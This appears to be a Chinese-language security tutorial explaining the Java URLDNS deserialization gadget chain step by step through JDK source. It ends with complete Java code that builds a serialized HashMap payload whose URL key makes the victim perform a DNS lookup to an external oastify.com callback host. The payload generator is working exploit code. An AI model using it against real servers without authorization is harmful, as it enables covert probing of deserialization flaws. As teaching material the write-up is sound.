URLDNS链分析

URLDNS

分析

URLDNS主要用到了两个数据结构:HashMapURL至于为什么是这两个,我们看看他们俩各有什么特性吧~

HashMap

  1. readObject-反序列化的入口

    反序列化一个对象时,Java的ObjectInputStream会调用被反序列化对象readObject方法,以便读取对象的状态并恢复它的字段。在URLDNS中使用了HashMap.readObject()方法

    java
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    // HashMap.readObject
    private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " + loadFactor);
    s.readInt(); // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " +mappings);
    else if (mappings > 0) { // (if zero, use defaults)

    ...

    // Read the keys and values, and put the mappings in the HashMap
    for (int i = 0; i < mappings; i++) {
    @SuppressWarnings("unchecked")
    K key = (K) s.readObject();
    @SuppressWarnings("unchecked")
    V value = (V) s.readObject();
    putVal(hash(key), key, value, false, false); //<-------flag: 在这里会调用hash(key)----------
    }
    }
    }
  2. 跟进putVal(hash(key), key, value, false, false); 方法

    java
    1
    2
    3
    4
    5
    //HashMap.hash
    static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);//<-------flag: 如果key不为空,则调用key.hashCode()方法
    }

到这里我们可以看到 HashMap在执行反序列化过程中会循环调用key的hashCode()方法,

URL

  1. 我们给Key一个URL类型的对象就会调用URL.hashCode()方法啦

    java
    1
    2
    3
    4
    5
    6
    7
    8
    // URL.hashCode()
    public synchronized int hashCode() {
    if (hashCode != -1)
    return hashCode;

    hashCode = handler.hashCode(this);//<--------flag: hashCode==-1时会调用handler.hashCode(this)-----
    return hashCode;
    }
  2. 点开后发现handler是一个URLStreamHandler类型的对象

    image-20241101151954200

  3. 跟进看一下URLStreamHandler.hashCode(URL)方法

    java
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
    h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);//<----flag: 看方法名(获取主机的地址)----
    ...
    }
  4. 再跟进getHostAddress(u)

    java
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
    return u.hostAddress;

    String host = u.getHost();
    if (host == null || host.equals("")) {
    return null;
    } else {
    try {
    u.hostAddress = InetAddress.getByName(host);//<------flag: InetAddress.getByName(host)是根据主机名获取地址,很明显就是DNS请求了------------
    } catch (UnknownHostException ex) {
    return null;
    } catch (SecurityException se) {
    return null;
    }
    }
    return u.hostAddress;
    }

调用链

至此,可以分析URLDNS调用链为

java
1
2
3
4
5
HashMap.readObject //反序列化入口
HashMap.hash
URL.hashCode
URLStreamHandler.hashCode
InetAddress.getByName //发送DNS请求

构造反序列的对象

根据上面的信息我们可以推断出,我们序列化的对象需要满足以下条件:

  1. Object类型为HashMap
  2. HashMap的Key是URL类型
  3. (URL)key的hashCode成员为-1(由于URL.hashCode为私有成员,所以需要使用反射调用)
java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void urlDns() throws Exception {
HashMap<URL,Object> hashMap = new HashMap<>();
URL url = new URL("http://z88ltjvkf89h3jt3tadtcf4w7nde17pw.oastify.com");
Field fieldHashCode = URL.class.getDeclaredField("hashCode");
fieldHashCode.setAccessible(true);
fieldHashCode.set(url,-1);
hashMap.put(url,0);
serialize(hashMap,"urlDns.ser");
}
void serialize(Object obj,String fileName) throws Exception{
FileOutputStream fos = new FileOutputStream(fileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
fos.close();
oos.close();
}

这样写会有问题吗?有!!!!

回到URL的hashCode方法,有个if (hashCode != -1),可以测试一下

java
1
2
3
4
5
6
7
8
9
10
11
12
13
void urlDns() throws Exception {
HashMap<URL,Object> hashMap = new HashMap<>();
URL url = new URL("http://z88ltjvkf89h3jt3tadtcf4w7nde17pw.oastify.com");
Field fieldHashCode = URL.class.getDeclaredField("hashCode");
fieldHashCode.setAccessible(true);
fieldHashCode.set(url,-1);
hashMap.put(url,0);
System.out.Println(url.hashCode());
serialize(hashMap,"urlDns.ser");
}

//输出
69806804

为什么url.hashCode的值变了?

跟进hashMap.put()看一下

java
1
2
3
4
// hashMap.put()
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);//<---flag: 这里调用了hash(url)-----
}

根据前面分析的 hash(url)会调用 url.hashCode() 由于此时hashCode==-1,所以会发送DNS请求并修改hashCode的值,所导致的现象是序列化的时候发送了DNS请求,而反序列化的时候不会发送DNS请求

所以,如果要实现序列化时不调用,反序列化时才调用,则应该在put前将hashCode改为除-1的任何值,在put进hashMap之后再改为-1

完整源码

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class Gadget{
public void urlDns(String url,String fileName) {
try {
URL u = new URL(url);
Map<URL, Boolean> map = new HashMap<>();
Class uClass = u.getClass();
Field hashCode = null;
hashCode = uClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
// 任何非-1的数字,目的是为了不让在put进hashMap时发送DNS请求并更新hashCode
hashCode.set(u,0);
map.put(u,false);
// 必须为 -1
hashCode.set(u,-1);
this.serialize(map,fileName);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
void serialize(Object obj,String fileName) throws Exception{
FileOutputStream fos = new FileOutputStream(fileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
fos.close();
oos.close();
}
}